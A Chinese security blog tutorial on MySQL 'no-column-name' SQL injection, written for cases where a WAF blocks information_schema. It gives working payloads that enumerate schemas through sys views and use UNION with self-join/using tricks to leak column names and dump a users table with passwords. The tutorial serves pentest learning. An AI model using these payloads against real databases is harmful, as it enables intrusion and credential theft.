【网络安全】SQL注入——无列名注入

一、前言

今天来学习一下无列名注入,无列名注入是什么。我们在真实环境渗透测试的时候很大概率会遇到WAF或者正则,其中在SQL注入的时候被过滤掉information,导致无法查询到表名。

二、information

information是什么,有基础的应该知道information是MySQL自带的数据库,其中包含表名,列名这些关键的信息。

sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。如果information被过滤掉了,该怎么办呢?

2.1sys库

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys库的两种形式:

(1). schema_table_statistics_with_buffer

sql 复制代码
#查询数据库名
select table_schema from sys.schema_auto_increment_columns;
sql 复制代码
#查询表明
select table_name from sys.schema_auto_increment_columns where table_schema=databse();

(2). x$schema_table_statistics_with_buffer

sql 复制代码
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
python 复制代码
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();

三、无列名注入

join------用于合并两个表;

using------表示使用什么字段进行连接;

通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构。进行union select注入时,前后查询结果的列数必须严格一致,否则会引发错误。

得到 id 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b)as c;

得到 username 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id))as c;

得到 password 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username))as c;

得到 user 表中的数据

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username,password))as c;

相关推荐
黄金旺铺41 分钟前
从 FinalShell 迁移到 WindTerm:一次安全、高效、开源的终端升级之旅
安全·开源·windterm·finalshell
心 一1 小时前
接口安全测试实战:从数据库错误泄露看如何构建安全防线
数据库·安全
独行soc2 小时前
2025年渗透测试面试题总结-106(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
A Runner for leave2 小时前
网络与通信安全课程复习汇总1——课程导入
网络·安全·web安全
胡耀超2 小时前
数据安全工具手册——便捷实用的安全工具集-20251014
python·安全·数据安全·加密·数据库安全·脱敏·开源工具
IT 小阿姨(数据库)3 小时前
PostgreSQL REST API 介绍
运维·数据库·sql·postgresql·centos
存储世界-瀚海微3 小时前
瀚海微SD NAND/TF卡:赋能全场景数据存储,定义高效安全新基准
安全
KKKlucifer3 小时前
生成式 AI 冲击下,网络安全如何破局?
网络·人工智能·web安全
aodunsoft4 小时前
安全月报 | 傲盾DDoS攻击防御2025年9月简报
网络·安全·ddos
SuperherRo5 小时前
JS逆向-安全辅助项目&JSRpc远程调用&Burp插件autoDecode&浏览器拓展V_Jstools(上)
javascript·安全·项目